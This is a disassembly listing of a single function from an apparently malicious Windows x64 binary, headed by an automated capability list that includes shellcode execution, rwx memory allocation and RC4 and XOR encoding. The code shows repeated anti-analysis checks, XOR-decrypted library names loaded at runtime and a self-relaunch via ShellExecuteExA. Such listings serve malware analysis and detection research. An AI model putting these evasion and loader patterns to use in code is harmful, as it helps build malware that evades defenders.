Function at 0x14000e388
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14007cd90
sub rsp, rax
mov rax, qword [0x1400d6700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[2]
mov esi, 0xcaada898
mov r12d, 0x5b09fd5e
cmp rax, r12
jne 0x14000e47a
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e45a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e45a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e47a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov ecx, r12d
call fcn.1400095c4
mov rax, qword gs:[2]
movabs r13, 0xd6de54ab6e162d70
cmp rax, r12
jne 0x14000e536
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e516
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e516
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e536
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
mov ebx, 0x2857bde0
mov r14d, 0xc3a9004
cmp rax, r12
jne 0x14000e5f9
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e5d9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e5d9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e5f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov ecx, r12d
call fcn.14000d900
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000e6ab
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e68b
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e68b
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e6ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000e755
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e735
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e735
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e755
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
lea rdx, [0x1400cb650]
lea rcx, [rbp + 0x998]
call fcn.140008f88
mov rdx, rax
mov ecx, r12d
call fcn.14000a594
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000e81d
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e7fd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e7fd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e81d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000e8c7
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e8a7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e8a7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e8c7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov dword [rbp + 0x90], 0xdccb71e7
mov dword [rbp + 0x94], 0x1ac8ec0b
mov word [rbp + 0x98], Ordinal_217
xor r15d, r15d
mov edi, r15d
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14001d88c
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14000e8ea
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000e9e0
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e9c0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e9c0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e9e0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000ea99
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ea79
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ea79
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ea99
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov dword [rbp + 0x1f0], 0xf51447f2
mov dword [rbp + 0x1f4], 0x71e1fd64
mov dword [rbp + 0x1f8], 0x785c0bb2
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, listen
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14001d4f8
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14000eac2
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000ebb8
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000eb98
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000eb98
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ebb8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000db70
test eax, eax
jne 0x14000ee5e
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400a65f0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000ecd2
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400a65f0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x57aadf79
mov word [rbp - 0x6c], Ordinal_211
mov rsi, 0xffffffffc24e8ac0
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14001d818
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14000ec42
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14001d183
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000ecd9
mov rsi, 0xffffffffc24e8ac0
mov word [rsp + 0x78], 0xb5
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xb5
lea rcx, [rsp + 0x78]
call fcn.14001d6cc
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14000d9f0
mov rbx, rax
movdqa xmm0, xmmword [0x1400cbfd0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400cbe20]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xfaee797
mov dword [rbp + 0xc1c], 0xf9b88c15
mov dword [rbp + 0xc20], 0xcae4ad0b
mov word [rbp + 0xc24], reloc.WLDAP32.dll_Ordinal_22
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14001d7a4
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14000ed5e
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14001e834
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14001e9f4
lea rcx, [rbp + 0x9d8]
call fcn.14001e34c
lea rcx, [rbp + 0x9b8]
call fcn.14001e34c
movdqa xmm0, xmmword [0x1400cbd90]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x7f
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14001d2b4
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14000edf7
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.14001dfa0
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000ef17
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000eef7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000eef7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ef17
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000efc7
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000efa7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000efa7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000efc7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f080
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f060
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f060
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f080
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f12a
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f10a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f10a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f12a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f1d4
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f1b4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f1b4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f1d4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
xor ecx, ecx
call fcn.140084864
mov rbx, rax
mov word [rsp + 0x7c], 0xee
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 1
xor r8d, r8d
mov dl, 0xee
lea rcx, [rsp + 0x7c]
call fcn.14001d6cc
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xd0f34fae
mov word [rbp - 0x5c], 0x237
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
lea r14d, [rax + 6]
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14001d570
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, r14
jb 0x14000f225
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.140087d44
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f329
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x2857bde0
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0xc3a9004
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f309
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f309
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f329
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f3d3
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f3b3
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f3b3
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f3d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov ecx, 2
call fcn.140084864
mov rbx, rax
mov word [rbp - 0x80], 0xeb
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 1
xor r8d, r8d
mov dl, 0xeb
lea rcx, [rbp - 0x80]
call fcn.14001d6cc
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0xe572903
mov dword [rbp - 0x34], 0x5dd175
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14001d730
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14000f41b
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.140087d44
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f522
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x2857bde0
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0xc3a9004
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f502
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f502
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f522
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f5cc
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f5ac
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f5ac
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f5cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov ecx, 1
call fcn.140084864
mov rbx, rax
mov word [rbp - 0x7c], 0xeb
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 1
xor r8d, r8d
mov dl, 0xeb
lea rcx, [rbp - 0x7c]
call fcn.14001d6cc
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0xe572903
mov dword [rbp - 0x2c], 0x5dd175
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14001d730
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14000f614
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.140087d44
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f708
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f6e8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f6e8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f708
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f7b2
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f792
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f792
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f7b2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
movdqa xmm0, xmmword [0x1400cbf10]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400cbf60]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400cbe50]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xb016f5c8
mov dword [rbp + 0xd4c], 0xa3bb56a
mov dword [rbp + 0xd50], 0xe6052ad9
mov word [rbp + 0xd54], 0xba3b
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14001d658
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14000f814
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140008e2c
mov rax, qword gs:[2]
mov ebx, 0xc3a9004
cmp rax, r12
jne 0x14000f91e
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x2857bde0
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f8fe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f8fe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f91e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000f9c8
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
